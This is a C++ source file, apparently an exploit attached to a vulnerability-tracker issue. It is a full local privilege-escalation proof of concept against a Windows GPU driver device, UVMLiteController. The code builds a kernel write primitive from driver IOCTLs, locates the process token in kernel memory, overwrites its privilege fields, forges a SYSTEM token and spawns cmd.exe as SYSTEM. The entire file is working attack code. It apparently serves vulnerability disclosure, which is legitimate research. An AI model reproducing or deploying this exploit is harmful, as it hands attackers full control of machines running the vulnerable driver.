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Issue 880 attachment: exploit.cpp (8.1 KB)

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// sploit

#include "stdafx.h"

#include <windows.h>
#include <winternl.h>
#include <sddl.h>

#include <string>
#include <memory>

#pragma comment(lib,"ntdll.lib")

typedef NTSTATUS (*NtCreateTokenFunc)(
OUT PHANDLE TokenHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN TOKEN_TYPE TokenType,
IN PLUID AuthenticationId,
IN PLARGE_INTEGER ExpirationTime,
IN PTOKEN_USER TokenUser,
IN PTOKEN_GROUPS TokenGroups,
IN PTOKEN_PRIVILEGES TokenPrivileges,
IN PTOKEN_OWNER TokenOwner,
IN PTOKEN_PRIMARY_GROUP TokenPrimaryGroup,
IN PTOKEN_DEFAULT_DACL TokenDefaultDacl,
IN PTOKEN_SOURCE TokenSource);

typedef struct _SYSTEM_HANDLE {
ULONG ProcessId;
BYTE ObjectTypeNumber;
BYTE Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG HandleCount;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION;

bool IoControl(HANDLE handle, DWORD io_code, LPVOID input, DWORD input_size,
LPVOID output, DWORD output_size) {

if (!DeviceIoControl(handle, io_code, input, input_size,
output, output_size, nullptr, nullptr)) {
fprintf(stderr, "IOCTL failed: %d\n", GetLastError());
return false;
}

return true;
}

HANDLE OpenUvmDevice(const wchar_t* path) {
return CreateFileW(
path,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
nullptr,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
nullptr);
}

std::wstring CreateUvmLiteProcessDevice(HANDLE uvm_handle) {
wchar_t buf[130];
IoControl(uvm_handle, 0x22f000, nullptr, 0, buf, 260);
return buf;
}

bool CreateUvmControllerContext(HANDLE uvm_handle) {
DWORD input[32] = {};

input[0] = GetCurrentProcessId();
DWORD output[32] = {};

if (!IoControl(uvm_handle, 0x22e028, input, 32 * 4, output, 32 * 4)) {
return false;
}

return output[1] == 0;
}

// kernel write primitive.
bool KernelWrite32(HANDLE uvm_handle, uint64_t addr, DWORD value) {
if (value != 0 && value != 0xffff)
return false;

char buf[1024] = {};

if (value == 0) {
return IoControl(uvm_handle, 0x22fffc, buf, 1024,
reinterpret_cast<LPVOID>(addr), 0);
}

addr -= 36;
memset(buf, 0xff, 1024);
return IoControl(uvm_handle, 0x22e038, buf, 1024, reinterpret_cast<LPVOID>(addr), 0);
}

HANDLE CreateSystemToken(HANDLE current_token) {
HMODULE module = LoadLibrary(L"ntdll.dll");
NtCreateTokenFunc NtCreateToken = (NtCreateTokenFunc)GetProcAddress(module, "NtCreateToken");
if (!NtCreateToken) {
fprintf(stderr, "Failed to find NtCreateToken.\n");
return nullptr;
}

LARGE_INTEGER never_expire;
OBJECT_ATTRIBUTES obj_attrs;
SECURITY_QUALITY_OF_SERVICE sqos = {};
sqos.Length = sizeof(sqos);
sqos.ContextTrackingMode = SECURITY_STATIC_TRACKING;
sqos.ImpersonationLevel = SecurityImpersonation;

InitializeObjectAttributes(&obj_attrs, nullptr, 0, nullptr, nullptr);
obj_attrs.SecurityQualityOfService = &sqos;

never_expire.QuadPart = -1;
PSID system_sid;
ConvertStringSidToSid(L"S-1-5-18", &system_sid);

PSID builtin_admins_sid;
ConvertStringSidToSid(L"S-1-5-32-544", &builtin_admins_sid);

PSID everyone_sid;
ConvertStringSidToSid(L"S-1-1-0", &everyone_sid);

PSID system_integrity_sid;
ConvertStringSidToSid(L"S-1-16-16384", &system_integrity_sid);

PSID authenticated_users_sid;
ConvertStringSidToSid(L"S-1-5-11", &authenticated_users_sid);

TOKEN_USER token_user = {};
token_user.User.Sid = system_sid;

TOKEN_SOURCE token_source = {};
TOKEN_OWNER token_owner = {};
token_owner.Owner = system_sid;

TOKEN_PRIMARY_GROUP primary_group = {};
primary_group.PrimaryGroup = builtin_admins_sid;

DWORD length;
GetTokenInformation(current_token, TokenPrivileges, nullptr, 0, &length);

std::unique_ptr<uint8_t[]> privileges_buf(new uint8_t[length]);
TOKEN_PRIVILEGES* token_privileges = (TOKEN_PRIVILEGES*)privileges_buf.get();
GetTokenInformation(current_token, TokenPrivileges, token_privileges, length, &length);

const size_t kNumGroups = 4;
std::unique_ptr<uint8_t[]> groups_buf(new uint8_t[4 + sizeof(SID_AND_ATTRIBUTES) * kNumGroups]);
TOKEN_GROUPS* token_groups = (TOKEN_GROUPS*)groups_buf.get();
token_groups->GroupCount = 4;
token_groups->Groups[0].Sid = builtin_admins_sid;
token_groups->Groups[0].Attributes = SE_GROUP_OWNER | SE_GROUP_ENABLED;
token_groups->Groups[1].Sid = everyone_sid;
token_groups->Groups[1].Attributes = SE_GROUP_ENABLED | SE_GROUP_MANDATORY;
token_groups->Groups[2].Sid = system_integrity_sid;
token_groups->Groups[2].Attributes = SE_GROUP_INTEGRITY_ENABLED | SE_GROUP_INTEGRITY;
token_groups->Groups[3].Sid = authenticated_users_sid;
token_groups->Groups[3].Attributes = SE_GROUP_ENABLED | SE_GROUP_MANDATORY;

LUID authentication_id = SYSTEM_LUID;
HANDLE result;
if (NtCreateToken(&result, TOKEN_ALL_ACCESS, &obj_attrs, TokenPrimary, &authentication_id,
&never_expire, &token_user, token_groups, token_privileges,
&token_owner, &primary_group, nullptr, &token_source)) {
fprintf(stderr, "Failed to create token: %d\n", GetLastError());
return nullptr;
}

return result;
}

int main() {
HANDLE handle = OpenUvmDevice(L"\\\\.\\UVMLiteController");
if (handle == INVALID_HANDLE_VALUE) {
fprintf(stderr, "Couldn't open UVM device.\n");
return 1;
}

std::wstring device = CreateUvmLiteProcessDevice(handle);
if (!device.size()) {
fprintf(stderr, "Couldn't create UVMLiteProcess device.\n");
return 1;
}

printf("Created %S\n", device.c_str());

// Open the device to prevent a kernel null deref.
HANDLE uvm_process_handle = OpenUvmDevice(device.c_str());
if (uvm_process_handle == INVALID_HANDLE_VALUE) {
fprintf(stderr, "Couldn't open UVMLiteProcess device.\n");
return 1;
}

if (!CreateUvmControllerContext(handle)) {
fprintf(stderr, "Couldn't create UVM controller context.\n");
return 1;
}

HANDLE self_process = GetCurrentProcess();
HANDLE token_handle;
if (!OpenProcessToken(self_process, MAXIMUM_ALLOWED, &token_handle)) {
fprintf(stderr, "failed to open own process token\n");
return 1;
}

size_t alloc_size = 16 * 1024;
SYSTEM_HANDLE_INFORMATION* handle_info = nullptr;
std::unique_ptr<uint8_t[]> handle_info_buf;
while (true) {
handle_info_buf.reset(new uint8_t[alloc_size]);
handle_info = (SYSTEM_HANDLE_INFORMATION*)(handle_info_buf.get());
if (!NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)0x10, handle_info, alloc_size, nullptr))
break;

alloc_size *= 2;
}

printf("token handle value = %u\n", token_handle);
DWORD proc_id = GetCurrentProcessId();

uint64_t kernel_token_address = 0;
for (DWORD i = 0; i < handle_info->HandleCount; ++i) {
if (handle_info->Handles[i].ProcessId != proc_id)
continue;

if ((HANDLE)handle_info->Handles[i].Handle == token_handle) {
kernel_token_address = (uint64_t)handle_info->Handles[i].Object;
}
}

if (!kernel_token_address) {
fprintf(stderr, "Failed to get kernel token address.\n");
return 1;
}

printf("kernel token address = %I64x\n", kernel_token_address);

// At least on Windows 10 10586.589
const size_t kTokenPrivilegesOffset = 0x40;
printf("Assuming offset to _SEP_TOKEN_PRIVILEGES is 0x%x\n", kTokenPrivilegesOffset);
printf("Overwriting privileges.\n");

// Overwrite Present/Enabled (2 64bit values)
for (size_t i = 0; i < 2*8; i += 2)
KernelWrite32(handle, kernel_token_address + kTokenPrivilegesOffset + i, 0xffff);

// Should have all privileges at this point.

printf("Creating a SYSTEM token and dropping you into cmd...\n\n");
HANDLE system_token = CreateSystemToken(token_handle);
if (!system_token) {
return 1;
}

STARTUPINFO startup_info = {};
PROCESS_INFORMATION process_info = {};
if (!CreateProcessAsUser(
system_token, L"C:\\windows\\system32\\cmd.exe", nullptr,
nullptr, nullptr, FALSE, CREATE_BREAKAWAY_FROM_JOB, nullptr, nullptr,
&startup_info, &process_info)) {
fprintf(stderr, "Failed to start cmd: %d.\n", GetLastError());
return 1;
}
return 0;
}